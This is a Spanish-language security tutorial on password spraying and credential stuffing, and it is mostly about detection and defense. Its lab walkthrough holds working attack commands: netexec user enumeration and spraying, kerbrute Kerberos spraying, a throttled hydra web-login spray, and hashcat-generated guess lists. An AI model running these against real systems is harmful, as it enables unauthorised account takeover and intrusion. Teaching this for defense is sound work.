Password Spraying y Credential Stuffing: qué es, cómo se explota y cómo se corrige
· 12 min de lectura
Diferencia entre password spraying, credential stuffing y brute force. Herramientas como Spray, CrackMapExec e Hydra, reglas de Hashcat, detección con eventos 4771/4625 de Windows y defensa con lockout policies y passwordless.
Los ataques de fuerza bruta tradicionales prueban miles de contraseñas contra una sola cuenta hasta dar con la correcta. Son ruidosos, fáciles de detectar y las políticas de bloqueo los neutralizan. Password spraying invierte la lógica: prueba una sola contraseña (o muy pocas) contra miles de cuentas. Credential stuffing va un paso más allá: usa pares usuario-contraseña filtrados de brechas anteriores, apostando a que el usuario reutiliza credenciales entre servicios.
Estos ataques son la técnica más usada para obtener acceso inicial a entornos corporativos. Microsoft reportó en 2024 que password spraying representó el 40 % de los compromisos de cuentas de Azure AD. A diferencia del brute force clásico, el spraying no dispara las políticas de bloqueo porque cada cuenta recibe solo uno o dos intentos. Es la decimotercera lección de la Tanda 10.
Practica solo contra laboratorios autorizados. Probar credenciales contra sistemas ajenos sin permiso es acceso no autorizado y un delito en todas las jurisdicciones.
Qué es password spraying#
Password spraying es una técnica de autenticación por fuerza bruta distribuida: en vez de probar muchas contraseñas contra un usuario, prueba una contraseña contra muchos usuarios. El atacante recopila una lista de nombres de usuario (por enumeración, LinkedIn, correos filtrados, etc.) y prueba las contraseñas más comunes del entorno: variaciones del nombre de la empresa, la estación del año con el año actual, o las clásicas de las listas de contraseñas más usadas.

El credential stuffing es la variante automatizada con datos de brechas reales. El atacante descarga una base de datos filtrada (por ejemplo, de una brecha de un foro o una tienda online) y prueba cada par usuario:contraseña contra el servicio objetivo. La tasa de éxito suele ser del 0,1 % al 2 %, pero cuando la base tiene millones de registros, el resultado son miles de cuentas comprometidas.
La diferencia clave con brute force está en la distribución: el brute force concentra todos los intentos en una cuenta (lo que dispara el lockout), mientras que spraying y stuffing distribuyen los intentos entre muchas cuentas, manteniéndose por debajo del umbral de detección.
Por qué ocurre: la causa raíz#
- Contraseñas predecibles: los usuarios eligen contraseñas basadas en patrones (empresa + año, estación + año, teclado tipo qwerty). Un estudio de NordPass en 2024 mostró que "123456", "password" y "qwerty123" siguen en el top 10 global.
- Reutilización de credenciales: según un informe de Google/Harris Poll, el 65 % de los usuarios reutiliza la misma contraseña en múltiples servicios. Cada brecha alimenta las bases de credential stuffing.
- Políticas de lockout laxas: muchas organizaciones configuran el lockout en 5-10 intentos fallidos, pero no monitorizan el patrón de un intento fallido por cuenta en miles de cuentas.
- Enumeración de usuarios fácil: servicios que revelan si un usuario existe (mensajes como "usuario no encontrado" vs "contraseña incorrecta") facilitan la primera fase del ataque.
- Falta de MFA: sin segundo factor, una contraseña comprometida da acceso directo.
- Protocolos legacy: servicios como IMAP, POP3, SMTP o conexiones LDAP básicas no soportan MFA y son objetivos preferidos para spraying.
Tipos y variantes#
| Técnica | Estrategia | Fuente de credenciales | Tasa de detección |
|---|---|---|---|
| Brute force clásico | Muchas contraseñas vs 1 cuenta | Diccionario o generación | Alta (lockout) |
| Password spraying | 1-3 contraseñas vs muchas cuentas | Patrones predecibles | Baja |
| Credential stuffing | Pares filtrados vs servicio objetivo | Brechas de datos reales | Media |
| Reverse brute force | 1 contraseña conocida vs muchos usuarios | Contraseña por defecto o filtrada | Baja |
| Rule-based spraying | Contraseñas generadas con reglas | Hashcat rules + contexto de la empresa | Baja |
| Low-and-slow | Spraying con intervalos largos entre intentos | Patrones + paciencia | Muy baja |
Dónde aparece#
- Azure AD / Microsoft 365: el objetivo más frecuente para spraying corporativo. Los endpoints de autenticación como login.microsoftonline.com reciben miles de millones de intentos de spraying al mes.
- VPN corporativas: Cisco AnyConnect, Fortinet, Palo Alto GlobalProtect. Un spray exitoso da acceso a la red interna.
- Aplicaciones web con login propio: ERPs, CRMs, paneles de administración internos sin MFA.
- Protocolos legacy: IMAP/POP3 para correo corporativo. Exchange Online con autenticación básica habilitada es un objetivo clásico.
- Servicios de Active Directory: Kerberos pre-authentication, SMB, WinRM y LDAP bind permiten spraying contra el dominio.
- Plataformas SaaS: Slack, GitHub, AWS Console, cualquier servicio donde los empleados usen correo corporativo como usuario.
Cómo se detecta#
| Señal | Indicador | Fuente de logs |
|---|---|---|
| Spraying contra AD | Evento 4625 (logon failure) desde una IP contra múltiples cuentas | Windows Security Event Log |
| Kerberos pre-auth failure | Evento 4771 (Kerberos pre-authentication failed) masivo | Domain Controller logs |
| Spraying en Azure AD | Sign-in logs con status "Invalid credentials" desde misma IP contra muchas cuentas | Azure AD Sign-in logs |
| Stuffing en aplicación web | Pico de logins fallidos con ratio éxito-fallo anómalo | Application logs, WAF |
| Protocolos legacy | Autenticación básica desde IPs externas | Exchange Online, IMAP logs |
Herramientas de detección#
- Azure AD Identity Protection: detecta automáticamente password spray, anomalous token y credential stuffing. Genera alertas de riesgo de usuario.
- Microsoft Sentinel / Defender for Identity: reglas de detección predefinidas para spraying contra AD on-premises.
- Splunk / Elastic SIEM: consultas KQL o SPL que correlacionan eventos 4625/4771 por IP de origen.
- CrowdStrike Falcon: detección de spraying en endpoints con contexto de la identidad.
Ejemplo de consulta KQL para Azure AD:
SigninLogs
| where ResultType == "50126"
| summarize FailedAttempts = count(), DistinctUsers = dcount(UserPrincipalName) by IPAddress, bin(TimeGenerated, 1h)
| where DistinctUsers > 10 and FailedAttempts > 20
| sort by FailedAttempts desc
Explotación paso a paso en un laboratorio#
Paso 1 — Enumerar usuarios del dominio#
Antes del spraying necesitas una lista de usuarios válidos. En un entorno AD de laboratorio, usa NetExec (antes CrackMapExec) para enumerar por SMB o LDAP:
# Enumerar usuarios con una cuenta de dominio de bajo privilegio
netexec smb IP_DEL_LAB -u 'guest' -p '' --users
Si tienes un listado de correos corporativos (recopilados de LinkedIn, sitio web, correos públicos), genera los sAMAccountName con el formato del dominio:
# Formato típico: primera letra nombre + apellido
cat correos.txt | awk -F@ '{print $1}' > usuarios.txt
Paso 2 — Preparar la lista de contraseñas#
Para password spraying, la lista es corta pero dirigida. Genera contraseñas basadas en el contexto de la empresa:
# Patrones más comunes en entornos corporativos
cat <<'EOF' > passwords_spray.txt
Company2026!
Company2025!
Welcome2026!
Summer2026!
Winter2025!
Password123!
Qwerty2026!
Company123!
EOF
Para credential stuffing, descarga bases de datos filtradas de pruebas de seguridad autorizadas y extrae los pares usuario:contraseña.
Paso 3 — Ejecutar password spraying contra SMB/AD#
Usa NetExec para spraying contra el dominio del laboratorio con control de velocidad:
# Password spraying con una sola contraseña contra todos los usuarios
netexec smb IP_DEL_LAB -u usuarios.txt -p 'Company2026!' --no-bruteforce
# Si aparece [+] al lado de un usuario, la contraseña es correcta
La opción --no-bruteforce indica que se prueba cada usuario con la contraseña una sola vez (spray), no todas las combinaciones (brute force).
Para spraying contra Kerberos (más sigiloso, no genera eventos 4625):
# Spraying vía Kerberos pre-auth
kerbrute passwordspray -d lab.local --dc IP_DEL_LAB usuarios.txt 'Company2026!'
Paso 4 — Spraying contra un servicio web#
Si el objetivo es una aplicación web con formulario de login, usa Hydra:
hydra -L usuarios.txt -p 'Company2026!' IP_DEL_LAB http-post-form \
"/login:username=^USER^&password=^PASS^:F=incorrect" \
-t 4 -W 3
Los parámetros -t 4 (4 threads) y -W 3 (3 segundos entre intentos) simulan un spraying controlado que no dispara rate limiting agresivo.
Paso 5 — Generar contraseñas con reglas de Hashcat#
Para crear variantes inteligentes a partir de una palabra base, usa las reglas de Hashcat:
# Generar variantes de la palabra "Company"
echo "Company" | hashcat --stdout -r /usr/share/hashcat/rules/best64.rule | head -20
Esto produce variantes como Company1, Company!, Company2026, COMPANY, company123 y decenas más. Filtra las que cumplan la política de contraseñas del objetivo (longitud mínima, mayúscula + número + especial).
Paso 6 — Verificar el acceso obtenido#
Si el spraying tiene éxito, verifica los permisos de la cuenta comprometida:
# Verificar acceso con las credenciales obtenidas
netexec smb IP_DEL_LAB -u 'usuario_comprometido' -p 'Company2026!' --shares
netexec smb IP_DEL_LAB -u 'usuario_comprometido' -p 'Company2026!' --sessions
Qué puede lograr un atacante#
| Impacto | Descripción |
|---|---|
| Acceso inicial al dominio | Una sola cuenta comprometida permite enumerar AD, buscar vulnerabilidades de Kerberos y escalar privilegios |
| Lectura de correo corporativo | Acceso al buzón de la víctima expone información confidencial, credenciales en correos y acceso a otros servicios |
| Movimiento lateral | Credenciales válidas permiten acceder a shares SMB, servicios internos y equipos donde el usuario tiene sesión |
| Escalada a Domain Admin | Si la cuenta comprometida tiene permisos de Kerberoasting o AS-REP Roasting, el atacante obtiene más hashes para cracking |
| Compromiso de VPN | Acceso a la red interna completa si la VPN no requiere MFA |
| Persistencia | El atacante crea cuentas de servicio, modifica ACLs o registra su propio MFA para mantener el acceso |
Cómo se corrige#

Smart lockout en lugar de lockout estático#
El lockout tradicional (bloquear tras N intentos) penaliza al usuario legítimo y no detiene el spraying (que nunca supera N intentos por cuenta). El smart lockout de Azure AD bloquea la IP del atacante, no la cuenta:
Azure AD → Security → Authentication methods → Password protection:
- Smart lockout threshold: 10
- Smart lockout duration: 60 seconds
- Custom banned passwords: agregar nombres de la empresa, productos, etc.
Forzar MFA para todas las cuentas#
Password spraying pierde efectividad si cada cuenta tiene MFA habilitado. Prioriza los protocolos legacy que no soportan MFA:
Azure AD Conditional Access:
- Condición: Client apps → "Other clients" (IMAP, SMTP, POP3)
- Acción: Block
- Aplicar a: All users (excepto cuentas de servicio con IP fija)
Bloquear autenticación legacy#
Los protocolos que no soportan MFA (IMAP, POP3, SMTP con autenticación básica, ActiveSync básico) son la puerta preferida del spraying:
Exchange Online:
Set-OrganizationConfig -DefaultAuthenticationPolicy "BlockBasicAuth"
Azure AD:
Conditional Access → Block legacy authentication → All users
Políticas de contraseñas fuertes con banned lists#
Además de la complejidad estándar, bloquea las contraseñas que los atacantes prueban primero:
Lista de contraseñas prohibidas (ejemplo):
- Nombre de la empresa y variantes
- Nombre de la ciudad donde está la oficina
- Nombres de productos
- Patrones estacionales (Summer, Winter, Spring + año)
- Secuencias de teclado (qwerty, 123456, abc123)
Azure AD Password Protection permite crear una lista personalizada de hasta 1000 términos prohibidos.
Migrar a passwordless#
La defensa definitiva es eliminar las contraseñas. Las opciones actuales:
- Windows Hello for Business: biometría o PIN vinculado al TPM.
- FIDO2 security keys: llaves hardware que no dependen de contraseña.
- Certificate-based authentication: certificados de cliente emitidos por la PKI corporativa.
- Passkeys: credenciales FIDO2 sincronizadas entre dispositivos (Apple, Google, Microsoft).
Monitorización continua#
Configura alertas para los patrones de spraying:
Regla SIEM: Alerta cuando una IP de origen tiene más de 10 intentos
fallidos de login contra más de 5 cuentas distintas en 1 hora.
Eventos a correlacionar:
- Windows 4625 (Account failed to log on)
- Windows 4771 (Kerberos pre-auth failed)
- Azure AD Sign-in failure (error 50126)
Errores comunes al defenderse#
- Configurar lockout agresivo sin smart lockout: un lockout de 3 intentos permite al atacante hacer un DoS bloqueando todas las cuentas a propósito con 3 intentos fallidos cada una.
- Habilitar MFA pero dejar abiertos protocolos legacy: si IMAP sin MFA está habilitado, el spraying se redirige ahí.
- No monitorizar Kerberos: el spraying contra Kerberos pre-authentication (AS-REQ) no genera eventos 4625, solo 4771. Muchos SIEMs solo alertan por 4625.
- Usar la misma contraseña de dominio en servicios externos: si la contraseña de AD es la misma que la de LinkedIn o el correo personal, un breach externo compromete la cuenta corporativa.
- No rotar contraseñas de servicio: las cuentas de servicio con contraseñas estáticas de hace años son objetivos fáciles para spraying con diccionarios históricos.
- Ignorar el contexto geográfico: un login desde un país donde la organización no opera, incluso exitoso, debería generar una alerta.
Preguntas frecuentes#
Cuál es la diferencia entre password spraying y credential stuffing?#
Password spraying prueba una o pocas contraseñas genéricas (tipo Company2026!) contra muchas cuentas. Credential stuffing prueba pares usuario:contraseña exactos obtenidos de brechas de otros servicios. El spraying apuesta a la contraseña predecible, el stuffing apuesta a la reutilización de contraseñas.
Por qué el spraying no dispara el lockout?#
Porque las políticas de lockout cuentan los intentos fallidos por cuenta. Si el umbral es 5, el atacante prueba solo 1-2 contraseñas por cuenta antes de pasar a la siguiente. Ninguna cuenta individual supera el umbral, pero el atacante prueba la misma contraseña contra miles de cuentas.
CrackMapExec y NetExec son la misma herramienta?#
NetExec es el sucesor de CrackMapExec (CME). El proyecto CME dejó de actualizarse y la comunidad lo continuó como NetExec (nxc) con mejoras y correcciones. La sintaxis es casi idéntica. Si encuentras documentación que menciona CME, los comandos suelen funcionar cambiando crackmapexec por netexec o nxc.
Cómo detecto credential stuffing en mi aplicación web?#
Busca un pico anómalo de intentos de login con una tasa de éxito baja pero constante (0,1-2 %). Las IPs de origen suelen ser proxies residenciales (no datacenters). Implementa rate limiting por IP y por cuenta, CAPTCHA progresivo y monitoriza el ratio intentos-fallidos / intentos-exitosos por hora.
El spraying funciona contra cuentas con MFA?#
El spraying solo obtiene la contraseña, no el segundo factor. Si la cuenta tiene MFA habilitado, el atacante necesita una técnica adicional (MFA fatigue, phishing en tiempo real, SIM swap) para completar el acceso. Por eso MFA es la defensa más efectiva contra spraying.
Resumen#
- Password spraying prueba pocas contraseñas contra muchas cuentas para evadir lockout. Credential stuffing reutiliza pares filtrados de brechas anteriores.
- Las contraseñas predecibles (nombre de empresa + año, patrones estacionales) son el combustible del spraying: políticas de banned lists y complejidad las eliminan.
- La detección requiere correlacionar eventos 4625 y 4771 por IP de origen, no solo por cuenta individual.
- Bloquear autenticación legacy (IMAP, POP3, SMTP básico) es crítico porque esos protocolos no soportan MFA.
- Smart lockout, MFA obligatorio y migración a passwordless son las tres defensas más efectivas, en ese orden de prioridad y facilidad de implementación.
- La monitorización debe incluir Kerberos (evento 4771), no solo NTLM (evento 4625), porque el spraying contra Kerberos es más sigiloso.
Fuentes y lecturas recomendadas#
- MITRE ATT&CK T1110.003 — Password Spraying
- MITRE ATT&CK T1110.004 — Credential Stuffing
- Microsoft — Password spray investigation
- OWASP — Credential Stuffing Prevention Cheat Sheet
- CWE-307: Improper Restriction of Excessive Authentication Attempts
- CISA — Understanding and Responding to Password Spraying